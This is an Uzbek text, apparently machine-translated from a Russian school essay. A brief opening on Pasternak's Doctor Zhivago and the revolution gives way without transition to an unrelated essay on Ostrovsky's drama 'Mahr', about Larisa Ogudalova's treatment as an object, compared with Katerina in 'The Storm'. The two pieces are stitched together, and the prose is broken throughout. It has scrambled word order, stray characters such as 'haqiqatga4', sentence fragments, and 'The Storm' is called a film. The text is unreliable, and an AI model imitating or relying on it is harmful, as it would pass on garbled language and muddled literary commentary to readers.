Inqilob mavzusi, Fuqarolar urushi va rus adabiyotidagi rus ziyolilarining taqdiri (Pasternak, Bulgakov) Romanning boshlanishi g'ayrioddiy: "Ular yurishdi, yurishdi va qo'shiq aytishdi" Abadiy xotira"...Kim dafn etilmoqda?.. "Jivago". Pasternakning butun ijodi tirik va o'lik qarama-qarshiligiga qurilgan. Bosh qahramonlarning "tashqi va ichki" hayoti atrofida aylanadigan asosiy masala - munosabatdir. inqilobga nisbatan Yuriy Jivago ham, muallifning o'zi ham voqealar rivoji bilan bahslashdilar, ularga qarshilik ko'rsatdilar. unga aralashmasdan, uni o'zgartirishga harakat qilmasdan, nima bo'layotganini xolisona ko'rishga imkon beradi "Doktor yaqindagi kuzni, qo'zg'olonchilarning qatl etilishini, Palyxlarning go'daklari va xotinlarini o'ldirishini, qonli qirg'in va qirg'inni esladi. odamlarning oxiri ko'rinmas edi. Oqlar va qizillarning aqidaparastligi shafqatsizlikda raqobatlashdi, go'yo ular ko'paygandek, ikkinchisiga javoban navbatma-navbat kuchaydi." ...
Ostrovskiyning "Mahr" dramasi o'quvchilarga atrofidagilar qo'lida zaif irodali o'yinchoqqa aylangan Larisa Ogudalovaning fojiasini ko'rsatadi. Yana bir Ostrovskiy dramasining bosh qahramoni Katerina Kabanova singari Larisa Ogudalova ham qurbonga aylanadi. Biroq, Larisa dastlab patriarxal muhitda o'sgan Katerinadan farqli fazilatlarga ega. "Mahr" dramasi 1879 yilda yozilgan. Bu vaqtda Rossiyada kapitalistik munosabatlar allaqachon o'rnatilgan edi. Demak, patriarxal asoslar asta-sekin o'z ahamiyatini yo'qotmoqda.
Larisa Ogudalova qabul qildi yaxshi ta'lim. U evropacha tarzda tozalangan. Larisa sevgini orzu qiladi. Qizning qalbi iliq. U o'z hayotini sevilmagan odam bilan bog'lashiga yo'l qo'ymaydi. Ammo Larisaning sevgiga bo'lgan istagi uning orzusi va go'zal hayotiga to'g'ri keladi. Larisa kambag'al, lekin baxtli bo'lish uchun unga boylik ham kerak.
Larisaning atrofida mayda, beozor odamlar bor. Ajoyib usta Paratov Larisani faqat go'zal narsa sifatida qabul qiladi. Bu hayratlanarli, narsistik erkak qizga idealning timsoli bo'lib ko'rinadi. Lekin, aslida, Paratovda na olijanoblik, na mehribonlik bor. U xudbin, mayda, shafqatsiz, hisobchi.
Biroq dastlab Larisaga munosib o'yin sifatida ko'rilmagan Karandishev undan unchalik farq qilmaydi. Larisa yosh va tajribasiz. Unda yo'q kuchli xarakter mavjud sharoitlarni engish uchun. Go‘yo u birovning qoidalari bilan o‘ynab, birovning qo‘lida o‘yinchoqqa aylanayotgandek. Hatto Larisaning onasi ham qizini faqat tovar sifatida qabul qiladi. U Larisaning go'zalligi va yoshligini qurbon qilishga tayyor, chunki bu moddiy manfaatlarga erishish va mustahkamlash imkonini beradi. ijtimoiy maqom Ogudalovlar.
Larisani o'rab turgan har bir kishi uni faqat narsa, o'yin-kulgi ob'ekti deb biladi. Uni “toss” o‘ynagani bejiz emas. Hammasi eng yaxshi fazilatlar Larisa, uning ruhi, uning his-tuyg'ulari hech kimni qiziqtirmaydi. Odamlar faqat u haqida o'ylashadi tashqi go'zallik. Axir, bu uni juda jozibali o'yinchoq qiladi.
Karandishev Larisaga shunday deydi: "Ular sizga ayol sifatida emas, balki shaxs sifatida qarashadi ... ular sizga narsa sifatida qarashadi." Ogudalovaning o‘zi ham bunga qo‘shiladi: “Bir narsa... ha, bir narsa! Ular haq, men narsaman, men odam emasman...”. Mening fikrimcha, katta fojia qizlar aynan Larisaning qalbi issiq. Agar u sovuqqon, hisob-kitobli, ayyor bo'lganida, Larisa o'zining tashqi ma'lumotlari va o'zini ko'rsatish qobiliyati bilan hayotda juda yaxshi ish topishga muvaffaq bo'lardi. Biroq, qahramonning jo'shqinligi, hissiyotliligi va ochiqligi uni o'ziga yuklangan roldan ko'proq azoblaydi. Larisaning sevgisi va his-tuyg'ulari hech kimni qiziqtirmaydi, u faqat o'yin-kulgi uchun kerak. Drama oxirida qiz ezilib, vayron bo'ladi. Bu umidsiz Larisa hatto Knurovning shartlarini qabul qilishga rozi bo'lishiga olib keladi.
“Mahr”ning fojiali yakuni qahramon uchun najot, xorlikdan qutulishdir. Endi u hech kimga tegishli emas. O'lim Larisa uchun baraka bo'lib tuyuladi. Axir, u kamsitilgan, baxtsiz, hech qanday ma'no ko'rmaydi keyingi hayot. Sergey Sergeevich Paratovning qilmishi qizni buni anglaydi qo'rqinchli fakt uning hayotining oxiri muqarrar fojiali bo'lishini. Ha, endi unga Sergey Paratovdan boshqa kimdir kerak, lekin yillar o'tadi, uning yoshligi so'nadi va Larisani eskirgan va keraksiz narsa kabi boy egalaridan biri tashlab ketadi.
“Mahr” dramasi bizni yana ayolning dunyodagi o‘rni haqida o‘ylashga majbur qiladi. Agar "Momaqaldiroq" spektaklida Katerina Domostroevskiy turmush tarzi qurboniga aylangan bo'lsa, Larisa yangi, kapitalistik munosabatlar qurboni bo'ldi. Shunisi e'tiborga loyiqki, jamiyat hayotidagi qoidalar o'zgarmoqda. Va ayol hali ham kuchsiz mavjudot bo'lib qolmoqda. Katerina Kabanova norozilik bildirishga kuch topadi. Axir, uning o'z joniga qasd qilishi, qahramon yashashi kerak bo'lgan haqiqatga4 aniq norozilikdir. Larisaning hatto norozilik bildirishga ham jur'ati yo'q. U oxirigacha sharoitlar qo'lida o'yinchoq bo'lib qoladi. Ehtimol, buning sababi Larisa Ogudalova olgan tarbiyadir. Agar biz yana "Momaqaldiroq" filmidagi Katerina obraziga murojaat qilsak, bu qiz ota-ona mehri va g'amxo'rligi muhitida o'sganini eslashimiz mumkin. Shuning uchun u hozirgi kuchsiz holatiga juda sezgir edi. "Mahr" dramasi qahramoniga kelsak, bu erda, shekilli, Larisani dastlab onasi tovar, o'yinchoq roli uchun tayyorlagan. Shuning uchun qizning passivligi, kurashish istagi yo'qligi, o'z huquqlarini himoya qilish.
Larisaning taqdiri afsusda. Ammo shu bilan birga, qalbi jo'shqin va ishtiyoqi bilan sevishni istaydigan qahramon nega o'z ehtiroslari uchun boshqa yo'l topolmaganiga hayron bo'lasiz. Axir, u yevropacha tarbiya olgan, sevgilisi uning yagona o'yin-kulgida ko'rishini taxmin qilishi mumkin edi. Biroq, Larisa shunday muhitda tarbiyalanganki, o'zini, uning go'zalligi va iste'dodini foydali sotish imkoniyati juda maqbul bo'lib tuyuldi. Larisaning onasi juda o'zini sevuvchi tasvirlangani bejiz emas. Achinarlisi shundaki, Larisaning barcha doiralarida yosh qizning taqdiriga befarq va shafqatsiz bo'lmaydigan hech kim yo'q.